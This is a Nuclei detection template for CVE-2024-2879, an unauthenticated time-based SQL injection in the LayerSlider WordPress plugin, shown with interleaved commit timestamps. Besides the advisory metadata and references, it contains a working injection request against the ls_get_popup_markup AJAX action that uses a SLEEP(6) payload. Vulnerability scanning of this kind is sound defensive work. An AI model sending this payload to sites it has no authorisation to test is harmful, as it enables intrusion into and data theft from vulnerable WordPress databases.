2024-04-05 11:06:40 +00:00
id : CVE-2024-2879
2024-04-05 12:15:57 +00:00
2024-04-05 11:06:40 +00:00
info :
2024-04-09 09:40:11 +00:00
name : WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
2024-04-05 15:11:53 +00:00
author : d4ly
2024-05-31 19:23:20 +00:00
severity : high
2024-04-05 12:15:57 +00:00
description : |
2024-04-05 12:21:17 +00:00
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
2024-04-05 12:15:57 +00:00
remediation : Fixed in 7.10.1
2024-04-05 11:06:40 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-2879
- https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
- https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
2024-04-05 12:15:57 +00:00
- https://layerslider.com/release-log/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
2024-04-05 11:06:40 +00:00
classification :
2024-05-31 19:23:20 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2024-04-05 11:06:40 +00:00
cve-id : CVE-2024-2879
cwe-id : CWE-89
2024-05-31 19:23:20 +00:00
epss-score : 0.00492
epss-percentile : 0.76133
cpe : cpe:2.3:a:layerslider:layerslider:7.9.11:*:*:*:*:wordpress:*:*
2024-04-05 12:15:57 +00:00
metadata :
verified : true
2024-04-09 09:40:11 +00:00
max-request : 2
2024-05-31 19:23:20 +00:00
vendor : layerslider
product : layerslider
framework : wordpress
2024-04-05 12:15:57 +00:00
publicwww-query : "/wp-content/plugins/LayerSlider/"
2024-10-15 10:27:37 +00:00
tags : time-based-sqli,cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli
2024-04-05 15:11:53 +00:00
flow : http(1) && http(2)
2024-04-05 11:06:40 +00:00
2024-04-05 15:11:53 +00:00
http :
- method : GET
path :
- "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"
2024-04-09 09:40:11 +00:00
2024-04-05 15:11:53 +00:00
matchers :
- type : word
2024-04-09 09:40:11 +00:00
internal : true
2024-04-05 15:11:53 +00:00
words :
- ".ls-clearfix:before"
2024-04-09 09:40:11 +00:00
- raw :
- |
@timeout : 10s
2024-06-05 07:24:31 +00:00
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1
2024-04-09 09:40:11 +00:00
Host : {{Hostname}}
2024-04-05 11:06:40 +00:00
matchers :
- type : dsl
dsl :
2024-04-09 09:40:11 +00:00
- duration>=6
2024-04-05 12:15:57 +00:00
- status_code == 200
2024-04-05 15:11:53 +00:00
- contains(body, "<script>")
2024-04-05 12:15:57 +00:00
condition : and
2024-10-18 13:05:19 +00:00
# digest: 4b0a00483046022100a0bc9f8cfb37b4a881459ebcc8181a11b6366411ba33e2e2c6054cc1c6c078f9022100aa5026b27f873f3ed6bc9a252b9e1506eadb58d8c8c0eb3a8621b7c98910c19a:922c64590222798bb761d5b6d8e72950